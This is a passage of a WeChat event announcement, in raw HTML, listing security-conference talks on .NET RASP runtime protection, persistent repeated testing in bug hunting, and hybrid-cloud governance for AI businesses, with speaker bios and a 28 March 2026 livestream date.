src="https://wechat2rss.xlab.app/img-proxy/?k=4f56783e&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQSznAwFjZRBAZnYJXsoJEd8gZgoNibRqw0n8cEznmgMgo8LrkUYphXF6fgyX5Hkcfj3yiaRXJAcaNJ5PC8FBmdNcQjAmj0icBXW2o%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D11"/></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题二：</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">.NET应用安全最后一公里：基于Profiling技术构建RASP运行时防护</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题介绍：</span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本议题将聚焦基于 .NET Profiling 技术实现 ASP.NET 运行时应用自保护（RASP） 的技术原理与工程实践。通过深入分析 .NET CLR Profiling 机制，介绍如何在不修改应用源码的情况下，对 ASP.NET 应用运行时进行动态插桩与行为监控，实现对关键安全风险的实时检测与防护。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题将结合实际案例，讲解如何通过 Profiling 技术在运行时拦截关键函数调用，对常见的 Web 攻击行为（如命令执行、文件操作、反序列化等）进行检测与防护。同时，还将分享在 IIS 与 ASP.NET 生产环境中部署 RASP 的工程实现思路，以及在性能、兼容性和稳定性方面的实践经验。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">演讲嘉宾：</span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">catr00t</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">来自顺丰安全成文实验室，主要研究方向包括 Web 安全、漏洞挖掘、RASP 防护机制以及 Java/.NET 运行时安全技术。</span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;transform: perspective(0px);transform-style: flat;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;transform: rotateY(180deg);pointer-events: none;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 344.7px;height: auto;pointer-events: none;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.0824074074074074" data-s="300,640" data-w="1080" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 344.688px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=d679e610&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_jpg%2F4tc6mDlGcQTUAlumeGUAbQTFG2nslLpCWwK5zoJvNmtw2Uweyj0uuzpMorFlgJxqfhsM0MCeug0fntIyYicGaT8oopEdDAlN8nia6l7f0jrPI%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D12"/></p></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题三：</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">重复测试的艺术——如何从“无效”坚持中挖到高价值漏洞</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题介绍：</span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在当今的漏洞挖掘生态中，思路和技巧多如牛毛，但现实很骨感，有些学到的技巧并不能让我们在近期一段时间内出洞，这种“投入无即时回报”的状态通常让我们心生怀疑，那些暂时没能让我们出洞的技巧和思路，慢慢就被遗忘或者弃用了。这种习惯很可能让某些高价值漏洞从我们手里溜走。本议题通过一些漏洞案例来说明高价值漏洞可能就藏在不怕麻烦的重复测试中，最后讲讲个人在工具开发中遇到的坑点，希望能带给各位师傅一些启发。</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">演讲嘉宾：</span></strong><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">BePower</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">国内某一线SRC 2025年</span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 15px; letter-spacing: 1px; line-height: 2; padding: 0px; box-sizing: border-box; font-style: normal; font-weight: 400; text-align: justify; color: rgb(62, 62, 62);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: left; justify-content: flex-start; display: flex; flex-flow: row; width: 100%; align-self: flex-start; background-position: 0% 0%; background-repeat: repeat; background-size: 7.2139%; background-attachment: scroll; background-image: url(\&#34;https://mmbiz.qpic.cn/mmbiz_png/fAztM8IUrIZu7BF7XcibkGib4icBfxYAXSiaibxQdTW1cPBErPbdJGupLn1n9RfYaAmxqzb8LgnayHpr8K4ibxzJAYww/640?wx_fmt=png\&#34;);  box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34; justify-content: flex-start; display: flex; flex-flow: row; width: 100%;  box-sizing: border-box; &#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;display: inline-block; width: 100%; vertical-align: top; align-self: flex-start; flex: 0 0 auto; background-repeat: repeat-y; background-attachment: scroll; background-image: url(\&#34;https://mmbiz.qpic.cn/mmbiz_png/qUPU0NnaBqbPhNHT83he1VJVMep2CPAia6HZpY3Ac3EV14sXr6PYibPiah6Yx1WmGEp3PQfquSWdU1mgMfZGaXQKg/640?wx_fmt=png\&#34;); box-sizing: border-box; background-position: 0% 0% !important; background-size: 100% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 14px; padding: 0px 10px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">年度</span></span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">Top2，北山安全团队核心成员。</span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;pointer-events: none;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 344.7px;height: auto;pointer-events: none;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.08324974924774323" data-s="300,640" data-w="997" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 344.688px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=96d4b8a0&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQSznAwFjZRBAZnYJXsoJEd8gZgoNibRqw0n8cEznmgMgo8LrkUYphXF6fgyX5Hkcfj3yiaRXJAcaNJ5PC8FBmdNcQjAmj0icBXW2o%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D13"/></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题四：</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">AI业务下的混合云治理</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题介绍：</span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">AI业务迅猛发展，大模型安全与Agent安全逐渐进入行业视线。本议题将视角拉回到AI业务自身的安全风险，围绕AI业务团队的运营合作模式、业务组织架构，以及资产分布等多个角度，讨论与常规Web业务的差异。</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">分析新兴产业所面对的混合云风险，并给出可落地的系统化风控方案。</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">演讲嘉宾：</span></strong><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">观沧海</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">独立安全研究员，有丰富的红蓝对抗及Windows开发经验，对终端攻防有较深理解。目前主要从事AI业务场景的混合云风控。</span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -15px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><div data-lazy-bgimg="https://mmecoa.qpic.cn/mmecoa_gif/4tc6mDlGcQRiaciaia9ge6HvQXTmxBKia5uWQFficCZCXkEovBQLH6xCWUQPvPW0oGGic3OMnUB1beGbjjRNnGOTkXht5SE4MDT0H9hVHiaYf9MRNs/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 80px;height: 80px;vertical-align: top;overflow: hidden;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=51a5adc9&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_gif%2F4tc6mDlGcQRiaciaia9ge6HvQXTmxBKia5uWQFficCZCXkEovBQLH6xCWUQPvPW0oGGic3OMnUB1beGbjjRNnGOTkXht5SE4MDT0H9hVHiaYf9MRNs%2F640%3Fwx_fmt%3Dgif%26tp%3Dwebp%26wxfrom%3D15%26wx_lazy%3D1&#34;);background-position: 50% 50%;background-size: contain !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 35px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-size: 14px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: left;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 12px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">PART.02</span></span></strong></p></div></div></div></div></div><div data-lazy-bgimg="https://mmecoa.qpic.cn/sz_mmecoa_png/4tc6mDlGcQQHbXWjM8DtL7k4GgfyG7K3iab2yZ0szS497JB4A2wHsb33ACUUHqy0OTZ3ib0JE8wLIib8qiahBA6ic2n3noFT2HaZbOygmgIZKstY/640?wx_fmt=png" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5b29def9&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQQHbXWjM8DtL7k4GgfyG7K3iab2yZ0szS497JB4A2wHsb33ACUUHqy0OTZ3ib0JE8wLIib8qiahBA6ic2n3noFT2HaZbOygmgIZKstY%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D15%26wx_lazy%3D1&#34;);background-position: 0% 0%;background-size: 100% 100% !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;color: rgb(255, 255, 255);"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 17px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">直播预约</span></span></strong></p></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;font-size: 14px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">直播时间：</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(0, 66, 230);"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2026年3月28日 